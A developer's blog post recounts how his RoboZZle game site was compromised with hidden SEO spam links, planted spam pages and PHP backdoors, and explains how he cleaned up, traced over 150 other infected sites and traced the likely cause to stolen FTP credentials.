Around two weeks ago, I found this email in my inbox, with the subject “Complaint about Robozzle”:

Hi Igor Robozzle is really cute, I like it, but why on earth is it polluted with hundreds of invisible links to porn sites? From a guy like you I don’t expect to do such dirty things. pls remove them. David

Hoping for a simple explanation, I looked at the source of the RoboZZle front page. And my heart sunk as I saw hundreds of spam links on the bottom:

<a href=”<a hijacked site>.com/files/cms/7/pornhud.com-20076.html”>porn hud.com</a>

<a href=”<a hijacked site>.com/files/cms/7/www.tube.com8-5852.html”>www.tube.com 8</a>

…

The links were inside a <p> tag with visibility set to “hidden”, so the links were only visible to search engines, not to human visitors.

I wondered if this affected how my site shows up in search engines. So, I searched for RoboZZle on Google (results in Bing or Yahoo! were not affected), and here is what I got:

Oh crap. This sucks. How did it happen?

Site infestation

So what did the hackers do to my poor game? I looked around to find what has changed:

Planted links

Multiple pages on my site have been modified to import a planted config.ini file. The config.ini file contained hundreds of fake links, and was updated every couple hours with a new set of links. The links all pointed to spammy content planted on another hijacked site.

Planted content

My site also contained thousands of small planted HTML files, similar to the spammy stuff that the planted links pointed to. An odd folder (something like http://robozzle.com/old/old2/) contained the HTML files, all with links to suspicious content, and all infested with spammy keywords.

Backdoor PHP scripts

And finally, my site also contained a couple of PHP backdoor scripts. If you visited a particular URL on the robozzle.com domain, you’d get a file manager that lets you upload, delete, and manage files on my site, no passwords needed. As I found out later, the hackers actually knew my FTP password so they didn’t need the backdoors, but they left the backdoors so that they can get in once I change my password.

I carefully checked my site and removed all of this stuff. Even after I removed the PHP backdoors, the config.ini file continued to get updated until I changed my FTP password. From that point, I was pretty sure that the attackers somehow got my FTP password.

Looking for other hijacked sites

After cleaning up my site, one of the first things I did was notify the other compromised site, which hosted the planted content linked from my site.

I also wondered if more sites have been hacked in a similar way. I tried various online tools to find other sites that contain the same links that have been planted on my site.

I found a handful of hacked sites right away. The fact that the links change every few hours made the task more difficult, though. The newest links generally point to content that has not yet been crawled by search engines. But, there is a simple solution. By looking at older versions of several compromised sites in a service like Google Cache, I eventually found older links that lead me to many more hijacked sites.

After repeating the process for a couple hours, I ended up with a list of over a 150 infected sites, including some fairly major sites. The larger sites generally removed the infestation quickly, though. Here are a few sites that haven’t cleaned up, despite the fact that I alerted them at least two weeks ago:

bayonnenj.org – City of Bayonne, NJ

steinercollege.edu – Rudolf Steiner College

dillard.senategop.org – GOP Senator Kirk Dillard

egnc-ibm.gov.eg – Egypt-IBM Nanotechnology Research Center

Don’t go to these sites unless you know what you are doing. At the time of writing this post, these sites appear to be compromised, so they may well contain viruses or malware.

UPDATE: Most of the sites are suddenly not showing the links. My guess is that the hacker group distributed an empty config.ini file after this story became popular on reddit. I don’t believe that so many obscure sites on my list would be fixed over night when they have been infected for months before. Some sites still contain the planted links, but those seem to be the ones that haven’t been updating the links regularly. These are probably the sites that the hackers only have partial control over at this point (e.g., FTP password changed, but there is still a backdoor on the site somewhere). You should be able to view the planted links on all infected sites by looking at Google Cache.

I did my best to contact owners of as many hijacked sites as I could. Looking for contact information on that many sites – most of them not in English – is a time-consuming endeavor, though.

Tools I used

I found these tools useful when tracking down other sites that have been hijacked:

Yahoo! Site Explorer This is the best tool I found to search for sites that link to a particular URL. At least for my purposes, it worked much better than “link:” queries in Google.

Proxify When visiting sites controlled by hackers, it is worthwhile to be cautious, since the site may be infested by malware. Proxify sends the request on your behalf, and in the Source mode, sends you the HTTP response as text. So, the infested site won’t see your IP address, and any HTML it sends back will not be rendered, just shown in text format.

Web caches As you probably know, all major search engines (Google, Bing, Yahoo!) let you view the version of the page cached by the service. This gives you a version of the page as it was a few days or weeks ago.



And how did I get hacked in the first place?

Of course, I have been wondering about how the hackers got my FTP password in the first place. It wasn’t really guessable or discoverable by brute force, and I didn’t use the same password on other sites.

And then I got an email from my webhost, notifying me that FTP passwords may have been stolen due to a vulnerability. They tracked down the issue to a particular software package they use.

So, I assume that my password got stolen this way. If not, it is also possible that I logged into my site on a computer with a particular virus. Apparently, that’s how many FTP passwords get stolen.